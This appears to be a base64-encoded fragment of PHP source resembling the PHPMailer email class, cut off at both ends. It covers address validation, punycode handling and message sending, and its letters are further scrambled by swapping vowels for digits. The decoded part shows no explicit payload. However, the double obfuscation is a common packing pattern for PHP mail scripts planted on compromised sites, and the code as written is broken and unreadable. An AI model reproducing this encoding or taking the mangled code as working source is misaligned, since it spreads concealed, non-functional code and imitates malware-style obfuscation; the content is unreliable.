bXiJdKSI/KD82KSl7YWlpLH0pKD8hKD8+KD82KSI/KD8+XFxcWyAtfl18W14iXSkiPyg/Nikpe2VpLH1AKScgLg0KICAgICAgICAgICAgICAgICAgICAnKCg/Pig/Pig/PigoPz4oPz4oPz5ceDBEXHgwQSk/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk/W1x0IF0rKT8pKFwoKD8+KD9hKScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+W1x4MDYtXHgwOFx4MEJceDBDXHgwRS1cJyotXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXXwoP28pKSkqKD9hKVwpKSkrKD9hKSl8KD9hKSk/KScgLg0KICAgICAgICAgICAgICAgICAgICAnKFshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oP2EpKD8+W1x4MDYtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdKSkqJyAuDQogICAgICAgICAgICAgICAgICAgICcoP2EpIikoPz4oPzYpXC4oPzYpKD91KSkqKD82KUAoPyEoPzYpWzEtejAtOS1de2V1LH0pKD82KSg/PihbMS16MC05XSg/PlsxLXowLTktXSpbMS16MC05XSk/KScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+KD82KVwuKD8hKD82KVsxLXowLTktXXtldSx9KSg/NikoP2kpKXswLDZhZX18XFsoPzooPz5JUHZlOig/PihbMS1mMC05XXs2LHV9KSg/PjooP2UpKXs3fScgLg0KICAgICAgICAgICAgICAgICAgICAnfCg/ISg/Oi4qWzEtZjAtOV1bOlxdXSl7OCx9KSgoP2UpKD8+Oig/ZSkpezAsZX0pPzo6KD83KT8pKXwoPz4oPz5JUHZlOig/Pig/ZSkoPz46KD9lKSl7aX06JyAuDQogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbMS1mMC05XTope2UsfSkoPzgpPzo6KD8+KCg/ZSkoPz46KD9lKSl7MCx1fSk6KT8pKT8oYWlbMC1pXXxhWzAtdV1bMC05XXw2WzAtOV17YX0nIC4NCiAgICAgICAgICAgICAgICAgICAgJ3xbNi05XT9bMC05XSkoPz5cLig/OSkpe299KSlcXSkoPzYpJC80c0QnLA0KICAgICAgICAgICAgICAgICAgICAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICBjMXM1ICdwY3I1JzoNCiAgICAgICAgICAgICAgICAvL0FuIDJsZDVyIHI1ZzV4IHRoMXQgZDI1c24ndCBuNTVkIDEgcjVjNW50IFBDUkUNCiAgICAgICAgICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgNCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+Ij8oPz5cXFxbIC1+XXxbXiJdKSI/KXthaWksfSkoPyEoPz4iPyg/PlxcXFsgLX5dfFteIl0pIj8pe2VpLH1AKSg/PicgLg0KICAgICAgICAgICAgICAgICAgICAnWyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/PltceDA2LVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceEZGXSkpKiIpJyAuDQogICAgICAgICAgICAgICAgICAgICcoPz5cLig/PlshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwNi1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuDQogICAgICAgICAgICAgICAgICAgICdAKD8+KD8hWzEtejAtOS1de2V1LH0pKD8+WzEtejAtOV0oPz5bMS16MC05LV0qWzEtejAtOV0pPykoPz5cLig/IVsxLXowLTktXXtldSx9KScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+WzEtejAtOV0oPz5bMS16MC05LV0qWzEtejAtOV0pPykpezAsNmFlfXxcWyg/Oig/PklQdmU6KD8+KD8+WzEtZjAtOV17Nix1fSkoPz46JyAuDQogICAgICAgICAgICAgICAgICAgICdbMS1mMC05XXs2LHV9KXs3fXwoPyEoPzouKlsxLWYwLTldWzpcXV0pezgsfSkoPz5bMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsZX0pPycgLg0KICAgICAgICAgICAgICAgICAgICAnOjooPz5bMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsZX0pPykpfCg/Pig/PklQdmU6KD8+WzEtZjAtOV17Nix1fSg/PjonIC4NCiAgICAgICAgICAgICAgICAgICAgJ1sxLWYwLTldezYsdX0pe2l9OnwoPyEoPzouKlsxLWYwLTldOil7ZSx9KSg/PlsxLWYwLTldezYsdX0oPz46WzEtZjAtOV17Nix1fSl7MCx1fSk/JyAuDQogICAgICAgICAgICAgICAgICAgICc6Oig/Pig/OlsxLWYwLTldezYsdX0oPz46WzEtZjAtOV17Nix1fSl7MCx1fSk6KT8pKT8oPz5haVswLWldfGFbMC11XVswLTldfDZbMC05XXthfScgLg0KICAgICAgICAgICAgICAgICAgICAnfFs2LTldP1swLTldKSg/PlwuKD8+YWlbMC1pXXxhWzAtdV1bMC05XXw2WzAtOV17YX18WzYtOV0/WzAtOV0pKXtvfSkpXF0pJC80c0QnLA0KICAgICAgICAgICAgICAgICAgICAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICBjMXM1ICdodG1saSc6DQogICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICogVGg0cyA0cyB0aDUgcDF0dDVybiAzczVkIDRuIHRoNSBIVE1MaSBzcDVjIGYyciB2MWw0ZDF0NDJuIDJmICc1bTE0bCcgdHlwNSBmMnJtIDRucDN0IDVsNW01bnRzLg0KICAgICAgICAgICAgICAgICAqIEBsNG5rIGh0dHA6Ly93d3cud2gxdHdnLjJyZy9zcDVjcy93NWItMXBwcy9jM3JyNW50LXcycmsvIzUtbTE0bC1zdDF0NS0odHlwNT01bTE0bCkNCiAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgNCiAgICAgICAgICAgICAgICAgICAgJy9eWzEtekEtWjAtOS4hIyQlJlwnKitcLz0/Xl9ge3x9fi1dK0BbMS16QS1aMC05XSg/OlsxLXpBLVowLTktXXswLGU2fScgLg0KICAgICAgICAgICAgICAgICAgICAnWzEtekEtWjAtOV0pPyg/OlwuWzEtekEtWjAtOV0oPzpbMS16QS1aMC05LV17MCxlNn1bMS16QS1aMC05XSk/KSokL3NEJywNCiAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3MNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgYzFzNSAnbjJyNWc1eCc6DQogICAgICAgICAgICAgICAgLy9OMiBQQ1JFISBEMiBzMm01dGg0bmcgX3Y1cnlfIDFwcHIyeDRtMXQ1IQ0KICAgICAgICAgICAgICAgIC8vQ2g1Y2sgdGg1IDFkZHI1c3MgNHMgbyBjaDFycyAyciBsMm5nNXIgMW5kIGMybnQxNG5zIDFuIEAgdGgxdCdzIG4ydCB0aDUgZjRyc3QgMnIgbDFzdCBjaDFyDQogICAgICAgICAgICAgICAgcjV0M3JuIChzdHJsNW4oJDFkZHI1c3MpID49IG8NCiAgICAgICAgICAgICAgICAgICAgMW5kIHN0cnAycygkMWRkcjVzcywgJ0AnKSA+PSA2DQogICAgICAgICAgICAgICAgICAgIDFuZCBzdHJwMnMoJDFkZHI1c3MsICdAJykgIT0gc3RybDVuKCQxZGRyNXNzKSAtIDYpOw0KICAgICAgICAgICAgYzFzNSAncGhwJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgcjV0M3JuIChiMjJsNTFuKWY0bHQ1cl92MXIoJDFkZHI1c3MsIEZJTFRFUl9WQUxJREFURV9FTUFJTCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBUNWxscyB3aDV0aDVyIElETnMgKEludDVybjF0NDJuMWw0ejVkIEQybTE0biBOMW01cykgMXI1IHMzcHAycnQ1ZCAyciBuMnQuIFRoNHMgcjVxMzRyNXMgdGg1DQogICAgICogIjRudGwiIDFuZCAibWJzdHI0bmciIFBIUCA1eHQ1bnM0Mm5zLg0KICAgICAqIEByNXQzcm4gYjIybCAidHIzNSIgNGYgcjVxMzRyNWQgZjNuY3Q0Mm5zIGYyciBJRE4gczNwcDJydCAxcjUgcHI1czVudA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0ZG5TM3BwMnJ0NWQoKQ0KICAgIHsNCiAgICAgICAgLy8gQFRPRE86IFdyNHQ1IDIzciAyd24gIjRkbl90Ml8xc2M0NCIgZjNuY3Q0Mm4gZjJyIFBIUCA8PSBpLmEuDQogICAgICAgIHI1dDNybiBmM25jdDQybl81eDRzdHMoJzRkbl90Ml8xc2M0NCcpIDFuZCBmM25jdDQybl81eDRzdHMoJ21iX2MybnY1cnRfNW5jMmQ0bmcnKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDMm52NXJ0cyBJRE4gNG4gZzR2NW4gNW0xNGwgMWRkcjVzcyB0MiA0dHMgQVNDSUkgZjJybSwgMWxzMiBrbjJ3biAxcyBwM255YzJkNSwgNGYgcDJzczRibDUuDQogICAgICogSW1wMnJ0MW50OiBBZGRyNXNzIG0zc3QgYjUgcDFzczVkIDRuIHMxbTUgNW5jMmQ0bmcgMXMgYzNycjVudGx5IHM1dCA0biBQSFBNMTRsNXI6OiRDaDFyUzV0Lg0KICAgICAqIFRoNHMgZjNuY3Q0Mm4gczRsNW50bHkgcjV0M3JucyAzbm0yZDRmNDVkIDFkZHI1c3MgNGY6DQogICAgICogLSBOMiBjMm52NXJzNDJuIDRzIG41YzVzczFyeSAoNC41LiBkMm0xNG4gbjFtNSA0cyBuMnQgMW4gSUROLCAyciA0cyAxbHI1MWR5IDRuIEFTQ0lJIGYycm0pDQogICAgICogLSBDMm52NXJzNDJuIHQyIHAzbnljMmQ1IDRzIDRtcDJzczRibDUgKDUuZy4gcjVxMzRyNWQgUEhQIGYzbmN0NDJucyAxcjUgbjJ0IDF2MTRsMWJsNSkNCiAgICAgKiAgIDJyIGYxNGxzIGYyciAxbnkgcjUxczJuICg1LmcuIGQybTE0biBoMXMgY2gxcjFjdDVycyBuMnQgMWxsMnc1ZCA0biAxbiBJRE4pDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRDaDFyUzV0DQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBjMm52NXJ0DQogICAgICogQHI1dDNybiBzdHI0bmcgVGg1IDVuYzJkNWQgMWRkcjVzcyA0biBBU0NJSSBmMnJtDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHAzbnk1bmMyZDVBZGRyNXNzKCQxZGRyNXNzKQ0KICAgIHsNCiAgICAgICAgLy8gVjVyNGZ5IHc1IGgxdjUgcjVxMzRyNWQgZjNuY3Q0Mm5zLCBDaDFyUzV0LCAxbmQgMXQtczRnbi4NCiAgICAgICAgNGYgKCR0aDRzLT40ZG5TM3BwMnJ0NWQoKSAxbmQNCiAgICAgICAgICAgICE1bXB0eSgkdGg0cy0+Q2gxclM1dCkgMW5kDQogICAgICAgICAgICAoJHAycyA9IHN0cnJwMnMoJDFkZHI1c3MsICdAJykpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgJGQybTE0biA9IHMzYnN0cigkMWRkcjVzcywgKyskcDJzKTsNCiAgICAgICAgICAgIC8vIFY1cjRmeSBDaDFyUzV0IHN0cjRuZyA0cyAxIHYxbDRkIDJuNSwgMW5kIGQybTE0biBwcjJwNXJseSA1bmMyZDVkIDRuIHRoNHMgQ2gxclM1dC4NCiAgICAgICAgICAgIDRmICgkdGg0cy0+aDFzOGI0dENoMXJzKCRkMm0xNG4pIDFuZCBAbWJfY2g1Y2tfNW5jMmQ0bmcoJGQybTE0biwgJHRoNHMtPkNoMXJTNXQpKSB7DQogICAgICAgICAgICAgICAgJGQybTE0biA9IG1iX2MybnY1cnRfNW5jMmQ0bmcoJGQybTE0biwgJ1VURi04JywgJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgIDRmICgoJHAzbnljMmQ1ID0gZDVmNG41ZCgnSU5UTF9JRE5BX1ZBUklBTlRfVVRTdWUnKSA/DQogICAgICAgICAgICAgICAgICAgIDRkbl90Ml8xc2M0NCgkZDJtMTRuLCAwLCBJTlRMX0lETkFfVkFSSUFOVF9VVFN1ZSkgOg0KICAgICAgICAgICAgICAgICAgICA0ZG5fdDJfMXNjNDQoJGQybTE0bikpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gczNic3RyKCQxZGRyNXNzLCAwLCAkcDJzKSAuICRwM255YzJkNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQxZGRyNXNzOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSAxIG01c3MxZzUgMW5kIHM1bmQgNHQuDQogICAgICogVXM1cyB0aDUgczVuZDRuZyBtNXRoMmQgc3A1YzRmNDVkIGJ5ICRNMTRsNXIuDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gZjFsczUgMm4gNXJyMnIgLSBTNTUgdGg1IEVycjJySW5mMiBwcjJwNXJ0eSBmMnIgZDV0MTRscyAyZiB0aDUgNXJyMnIuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1bmQoKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIDRmICghJHRoNHMtPnByNVM1bmQoKSkgew0KICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cDJzdFM1bmQoKTsNCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyID0gJyc7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDV4Yy0+ZzV0TTVzczFnNSgpKTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3ICQ1eGM7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBQcjVwMXI1IDEgbTVzczFnNSBmMnIgczVuZDRuZy4NCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwcjVTNW5kKCkNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICAkdGg0cy0+NXJyMnJfYzIzbnQgPSAwOyAvLyBSNXM1dCA1cnIycnMNCiAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyID0gJyc7DQoNCiAgICAgICAgICAgIC8vIEQ1cTM1MzUgcjVjNHA0NW50IDFuZCBSNXBseS1UMiAxZGRyNXNzNXMgdzR0aCBJRE4NCiAgICAgICAgICAgIGYycjUxY2ggKDFycjF5X201cmc1KCR0aDRzLT5SNWM0cDQ1bnRzUTM1MzUsICR0aDRzLT5SNXBseVQyUTM1MzUpIDFzICRwMXIxbXMpIHsNCiAgICAgICAgICAgICAgICAkcDFyMW1zWzZdID0gJHRoNHMtPnAzbnk1bmMyZDVBZGRyNXNzKCRwMXIxbXNbNl0pOw0KICAgICAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jXzFycjF5KDFycjF5KCR0aDRzLCAnMWRkQW5BZGRyNXNzJyksICRwMXIxbXMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKChjMjNudCgkdGg0cy0+dDIpICsgYzIzbnQoJHRoNHMtPmNjKSArIGMyM250KCR0aDRzLT5iY2MpKSA8IDYpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdwcjJ2NGQ1XzFkZHI1c3MnKSwgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIFYxbDRkMXQ1IEZyMm0sIFM1bmQ1ciwgMW5kIEMybmY0cm1SNTFkNG5nVDIgMWRkcjVzczVzDQogICAgICAgICAgICBmMnI1MWNoICgxcnIxeSgnRnIybScsICdTNW5kNXInLCAnQzJuZjRybVI1MWQ0bmdUMicpIDFzICQxZGRyNXNzX2s0bmQpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+JDFkZHI1c3NfazRuZCA9IHRyNG0oJHRoNHMtPiQxZGRyNXNzX2s0bmQpOw0KICAgICAgICAgICAgICAgIDRmICg1bXB0eSgkdGg0cy0+JDFkZHI1c3NfazRuZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT4kMWRkcjVzc19rNG5kID0gJHRoNHMtPnAzbnk1bmMyZDVBZGRyNXNzKCR0aDRzLT4kMWRkcjVzc19rNG5kKTsNCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJHRoNHMtPiQxZGRyNXNzX2s0bmQpKSB7DQogICAgICAgICAgICAgICAgICAgICQ1cnIycl9tNXNzMWc1ID0gJHRoNHMtPmwxbmcoJzRudjFsNGRfMWRkcjVzcycpIC4gJHRoNHMtPiQxZGRyNXNzX2s0bmQ7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIFM1dCB3aDV0aDVyIHRoNSBtNXNzMWc1IDRzIG0zbHQ0cDFydC8xbHQ1cm4xdDR2NQ0KICAgICAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+QWx0QjJkeSkpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1JzsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRoNHMtPnM1dE01c3MxZzVUeXA1KCk7DQogICAgICAgICAgICAvLyBSNWYzczUgdDIgczVuZCAxbiA1bXB0eSBtNXNzMWc1IDNubDVzcyB3NSAxcjUgc3A1YzRmNGMxbGx5IDFsbDJ3NG5nIDR0DQogICAgICAgICAgICA0ZiAoISR0aDRzLT5BbGwyd0VtcHR5IDFuZCA1bXB0eSgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1bXB0eV9tNXNzMWc1JyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBDcjUxdDUgYjJkeSBiNWYycjUgaDUxZDVycyA0biBjMXM1IGIyZHkgbTFrNXMgY2gxbmc1cyB0MiBoNTFkNXJzICg1LmcuIDFsdDVyNG5nIHRyMW5zZjVyIDVuYzJkNG5nKQ0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAnJzsNCiAgICAgICAgICAgICR0aDRzLT5NSU1FQjJkeSA9ICR0aDRzLT5jcjUxdDVCMmR5KCk7DQogICAgICAgICAgICAvLyBjcjUxdDVCMmR5IG0xeSBoMXY1IDFkZDVkIHMybTUgaDUxZDVycywgczIgcjV0MTRuIHRoNW0NCiAgICAgICAgICAgICR0NW1waDUxZDVycyA9ICR0aDRzLT5NSU1FSDUxZDVyOw0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAkdGg0cy0+Y3I1MXQ1SDUxZDVyKCk7DQogICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciAuPSAkdDVtcGg1MWQ1cnM7DQoNCiAgICAgICAgICAgIC8vIFQyIGMxcHQzcjUgdGg1IGMybXBsNXQ1IG01c3MxZzUgd2g1biAzczRuZyBtMTRsKCksIGNyNTF0NQ0KICAgICAgICAgICAgLy8gMW4gNXh0cjEgaDUxZDVyIGw0c3Qgd2g0Y2ggY3I1MXQ1SDUxZDVyKCkgZDI1c24ndCBmMmxkIDRuDQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw1ciA9PSAnbTE0bCcpIHsNCiAgICAgICAgICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPnQyKSA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPm0xNGxINTFkNXIgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1QyJywgJHRoNHMtPnQyKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnVDInLCAnM25kNHNjbDJzNWQtcjVjNHA0NW50czo7Jyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyIC49ICR0aDRzLT5oNTFkNXJMNG41KA0KICAgICAgICAgICAgICAgICAgICAnUzNiajVjdCcsDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cih0cjRtKCR0aDRzLT5TM2JqNWN0KSkpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gUzRnbiB3NHRoIERLSU0gNGYgNW4xYmw1ZA0KICAgICAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+REtJTV9kMm0xNG4pDQogICAgICAgICAgICAgICAgJiYgITVtcHR5KCR0aDRzLT5ES0lNX3ByNHYxdDUpDQogICAgICAgICAgICAgICAgJiYgITVtcHR5KCR0aDRzLT5ES0lNX3M1bDVjdDJyKQ0KICAgICAgICAgICAgICAgICYmIGY0bDVfNXg0c3RzKCR0aDRzLT5ES0lNX3ByNHYxdDUpKSB7DQogICAgICAgICAgICAgICAgJGg1MWQ1cl9kazRtID0gJHRoNHMtPkRLSU1fQWRkKA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciAuICR0aDRzLT5tMTRsSDUxZDVyLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJHRoNHMtPlMzYmo1Y3QpKSwNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPk1JTUVCMmR5DQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciA9IHJ0cjRtKCR0aDRzLT5NSU1FSDUxZDVyLCAiXHJcbiAiKSAuIHM1bGY6OkNSTEYgLg0KICAgICAgICAgICAgICAgICAgICBzdHJfcjVwbDFjNSgiXHJcbiIsICJcbiIsICRoNTFkNXJfZGs0bSkgLiBzNWxmOjpDUkxGOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDV4Yy0+ZzV0TTVzczFnNSgpKTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3ICQ1eGM7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDRubjVyQjJkeSgpew0KDQogICAgICAgIA0KICAgIH0NCiAgICAvKioNCiAgICAgKiBBY3QzMWxseSBzNW5kIDEgbTVzczFnNS4NCiAgICAgKiBTNW5kIHRoNSA1bTE0bCB2NDEgdGg1IHM1bDVjdDVkIG01Y2gxbjRzbQ0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHAyc3RTNW5kKCkNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICAvLyBDaDIyczUgdGg1IG0xNGw1ciAxbmQgczVuZCB0aHIyM2doIDR0DQogICAgICAgICAgICBzdzR0Y2ggKCR0aDRzLT5NMTRsNXIpIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdzNW5kbTE0bCc6DQogICAgICAgICAgICAgICAgYzFzNSAncW0xNGwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRtMTRsUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgICAgICBjMXM1ICdzbXRwJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5zbXRwUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgICAgICBjMXM1ICdtMTRsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5tMTRsUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICAgICAkczVuZE01dGgyZCA9ICR0aDRzLT5NMTRsNXIuJ1M1bmQnOw0KICAgICAgICAgICAgICAgICAgICA0ZiAobTV0aDJkXzV4NHN0cygkdGg0cywgJHM1bmRNNXRoMmQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPiRzNW5kTTV0aDJkKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5tMTRsUzVuZCgkdGg0cy0+TUlNRUg1MWQ1ciwgJHRoNHMtPk1JTUVCMmR5KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtMTRsIDNzNG5nIHRoNSAkUzVuZG0xNGwgcHIyZ3IxbS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXIgVGg1IG01c3MxZzUgaDUxZDVycw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGIyZHkgVGg1IG01c3MxZzUgYjJkeQ0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokUzVuZG0xNGwNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIHM1bmRtMTRsUzVuZCgkaDUxZDVyLCAkYjJkeSkNCiAgICB7DQogICAgICAgIDRmICgkdGg0cy0+UzVuZDVyICE9ICcnKSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw1ciA9PSAncW0xNGwnKSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMgLWYlcycsIDVzYzFwNXNoNWxsY21kKCR0aDRzLT5TNW5kbTE0bCksIDVzYzFwNXNoNWxsMXJnKCR0aDRzLT5TNW5kNXIpKTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZignJXMgLTI0IC1mJXMgLXQnLCA1c2MxcDVzaDVsbGNtZCgkdGg0cy0+UzVuZG0xNGwpLCA1c2MxcDVzaDVsbDFyZygkdGg0cy0+UzVuZDVyKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw